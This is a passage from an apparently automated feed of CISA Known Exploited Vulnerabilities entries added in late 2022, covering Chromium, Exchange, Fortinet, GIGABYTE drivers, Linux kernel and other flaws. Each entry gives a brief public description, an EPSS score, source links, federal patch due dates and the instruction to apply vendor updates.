CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 8, 2022; federal due date Nov 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2022-3723
Google Chromium V8 Type Confusion Vulnerability (Oct 28, 2022).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 7.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-3723&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-3723: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-3723&date=2026-10-25
CISA added this entry on 2022-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 28, 2022; federal due date Nov 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS and iPadOS Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2022-42827
Apple iOS and iPadOS Out-of-Bounds Write Vulnerability (Oct 25, 2022).
Apple iOS and iPadOS kernel contain an out-of-bounds write vulnerability which can allow an application to perform code execution with kernel privileges.
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-42827&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-42827: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-42827&date=2026-10-25
CISA added this entry on 2022-10-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 25, 2022; federal due date Nov 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco AnyConnect Secure Mobility Client for Windows DLL Hijacking Vulnerability
https://kevwire.com/record/CVE-2020-3433
Cisco AnyConnect Secure Mobility Client for Windows DLL Hijacking Vulnerability (Oct 24, 2022).
Cisco AnyConnect Secure Mobility Client for Windows interprocess communication (IPC) channel allows for insufficient validation of resources that are loaded by the application at run time. An attacker with valid credentials on Windows could execute code on the affected machine with SYSTEM privileges.
EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3433&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3433: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3433&date=2026-10-25
CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco AnyConnect Secure Mobility Client for Windows Uncontrolled Search Path Vulnerability
https://kevwire.com/record/CVE-2020-3153
Cisco AnyConnect Secure Mobility Client for Windows Uncontrolled Search Path Vulnerability (Oct 24, 2022).
Cisco AnyConnect Secure Mobility Client for Windows allows for incorrect handling of directory paths. An attacker with valid credentials on Windows would be able to copy malicious files to arbitrary locations with system level privileges. This could include DLL pre-loading, DLL hijacking, and other related attacks.
EPSS 28.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3153&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3153: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3153&date=2026-10-25
CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GIGABYTE Multiple Products Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-19323
GIGABYTE Multiple Products Privilege Escalation Vulnerability (Oct 24, 2022).
The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU expose functionality to read and write arbitrary physical memory. This could be leveraged by a local attacker to elevate privileges.
EPSS 8.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19323&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-19323: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19323&date=2026-10-25
CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GIGABYTE Multiple Products Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-19322
GIGABYTE Multiple Products Code Execution Vulnerability (Oct 24, 2022).
The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II expose functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges.
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19322&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-19322: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19322&date=2026-10-25
CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GIGABYTE Multiple Products Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-19321
GIGABYTE Multiple Products Privilege Escalation Vulnerability (Oct 24, 2022).
The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II expose functionality to read and write arbitrary physical memory. This could be leveraged by a local attacker to elevate privileges.
EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19321&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-19321: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19321&date=2026-10-25
CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GIGABYTE Multiple Products Unspecified Vulnerability
https://kevwire.com/record/CVE-2018-19320
GIGABYTE Multiple Products Unspecified Vulnerability (Oct 24, 2022).
The GDrv low-level driver in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II exposes ring0 memcpy-like functionality that could allow a local attacker to take complete control of the affected system.
EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19320&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-19320: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19320&date=2026-10-25
CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2022; federal due date Nov 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability
https://kevwire.com/record/CVE-2022-41352
Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability (Oct 20, 2022).
Synacor Zimbra Collaboration Suite (ZCS) allows an attacker to upload arbitrary files using cpio package to gain incorrect access to any other user accounts.
EPSS 95.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41352&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41352&date=2026-10-25
CISA added this entry on 2022-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2022; federal due date Nov 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-3493
Linux Kernel Privilege Escalation Vulnerability (Oct 20, 2022).
The overlayfs stacking file system in Linux kernel does not properly validate the application of file capabilities against user namespaces, which could lead to privilege escalation.
EPSS 49.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3493&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-3493: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3493&date=2026-10-25
CISA added this entry on 2022-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2022; federal due date Nov 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet Multiple Products Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2022-40684
Fortinet Multiple Products Authentication Bypass Vulnerability (Oct 11, 2022).
Fortinet FortiOS, FortiProxy, and FortiSwitchManager contain an authentication bypass vulnerability that could allow an unauthenticated attacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-40684&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-40684: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-40684&date=2026-10-25
CISA added this entry on 2022-10-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 11, 2022; federal due date Nov 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows COM+ Event System Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-41033
Microsoft Windows COM+ Event System Service Privilege Escalation Vulnerability (Oct 11, 2022).
Microsoft Windows COM+ Event System Service contains an unspecified vulnerability that allows for privilege escalation.
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41033&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41033: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41033&date=2026-10-25
CISA added this entry on 2022-10-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 11, 2022; federal due date Nov 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-41082
Microsoft Exchange Server Remote Code Execution Vulnerability (Sep 30, 2022).
Microsoft Exchange Server contains an unspecified vulnerability that allows for authenticated remote code execution. Dubbed "ProxyNotShell," this vulnerability is chainable with CVE-2022-41040 which allows for the remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41082&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41082: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41082&date=2026-10-25
CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 30, 2022; federal due date Oct 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Server-Side Request Forgery Vulnerability
https://kevwire.com/record/CVE-2022-41040
Microsoft Exchange Server Server-Side Request Forgery Vulnerability (Sep 30, 2022).
Microsoft Exchange Server allows for server-side request forgery. Dubbed "ProxyNotShell," this vulnerability is chainable with CVE-2022-41082 which allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41040&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41040&date=2026-10-25
CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 30, 2022; federal due date Oct 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Bitbucket Server and Data Center Command Injection Vulnerability
https://kevwire.com/record/CVE-2022-36804
Atlassian Bitbucket Server and Data Center Command Injection Vulnerability (Sep 30, 2022).
Multiple API endpoints of Atlassian Bitbucket Server and Data Center contain a command injection vulnerability where an attacker with access to a public Bitbucket repository, or with read permissions to a private one, can execute code by sending a malicious HTTP request.
EPSS 99.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-36804&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-36804: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-36804&date=2026-10-25
CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 30, 2022; federal due date Oct 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sophos Firewall Code Injection Vulnerability
https://kevwire.com/record/CVE-2022-3236
Sophos Firewall Code Injection Vulnerability (Sep 23, 2022).
A code injection vulnerability in the User Portal and Webadmin of Sophos Firewall allows for remote code execution.
EPSS 98.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-3236&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-3236: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-3236&date=2026-10-25
CISA added this entry on 2022-09-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 23, 2022; federal due date Oct 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-35405
Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability (Sep 22, 2022).
Zoho ManageEngine PAM360, Password Manager Pro, and Access Manager Plus contain an unspecified vulnerability that allows for remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-35405&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-35405: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-35405&date=2026-10-25
CISA added this entry on 2022-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 22, 2022; federal due date Oct 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Apex One and Apex One as a Service Improper Validation Vulnerability
https://kevwire.com/record/CVE-2022-40139
Trend Micro Apex One and Apex One as a Service Improper Validation Vulnerability (Sep 15, 2022).
Trend Micro Apex One and Apex One as a Service contain an improper validation of rollback mechanism components that could lead to remote code execution.
EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-40139&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-40139: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-40139&date=2026-10-25
CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2013-6282
Linux Kernel Improper Input Validation Vulnerability (Sep 15, 2022).
The get_user and put_user API functions of the Linux kernel fail to validate the target address when being used on ARM v6k/v7 platforms. This allows an application to read and write kernel memory which could lead to privilege escalation.
EPSS 39.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-6282&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-6282: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-6282&date=2026-10-25
CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Code Aurora ACDB Audio Driver Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2013-2597
Code Aurora ACDB Audio Driver Stack-based Buffer Overflow Vulnerability (Sep 15, 2022).
The Code Aurora audio calibration database (acdb) audio driver contains a stack-based buffer overflow vulnerability that allows for privilege escalation. Code Aurora is used in third-party products such as Qualcomm and Android.
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2597&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-2597: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2597&date=2026-10-25
CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2013-2596
Linux Kernel Integer Overflow Vulnerability (Sep 15, 2022).
Linux kernel fb_mmap function in drivers/video/fbmem.c contains an integer overflow vulnerability that allows for privilege escalation.
EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2596&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-2596: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2596&date=2026-10-25
CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2013-2094
Linux Kernel Privilege Escalation Vulnerability (Sep 15, 2022).
Linux kernel fails to check all 64 bits of attr.config passed by user space, resulting to out-of-bounds access of the perf_swevent_enabled array in sw_perf_event_destroy(). Explotation allows for privilege escalation.
EPSS 47.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2094&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-2094: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2094&date=2026-10-25
CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2010-2568
Microsoft Windows Remote Code Execution Vulnerability (Sep 15, 2022).
Microsoft Windows incorrectly parses shortcuts in such a way that malicious code may be executed when the operating system displays the icon of a malicious shortcut file. An attacker who successfully exploited this vulnerability could execute code as the logged-on user.
EPSS 89.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-2568&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-2568: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-2568&date=2026-10-25
CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-37969
Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability (Sep 14, 2022).
Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.
EPSS 28.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-37969&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-37969: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-37969&date=2026-10-25
CISA added this entry on 2022-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 14, 2022; federal due date Oct 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-32917
Apple iOS, iPadOS, and macOS Remote Code Execution Vulnerability (Sep 14, 2022).
Apple kernel, which is included in iOS, iPadOS, and macOS, contains an unspecified vulnerability where an application may be able to execute code with kernel privileges.
EPSS 5.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-32917&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-32917: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-32917&date=2026-10-25
CISA added this entry on 2022-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 14, 2022; federal due date Oct 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Mojo Insufficient Data Validation Vulnerability
https://kevwire.com/record/CVE-2022-3075
Google Chromium Mojo Insufficient Data Validation Vulnerability (Sep 8, 2022).
Google Chromium Mojo contains an insufficient data validation vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
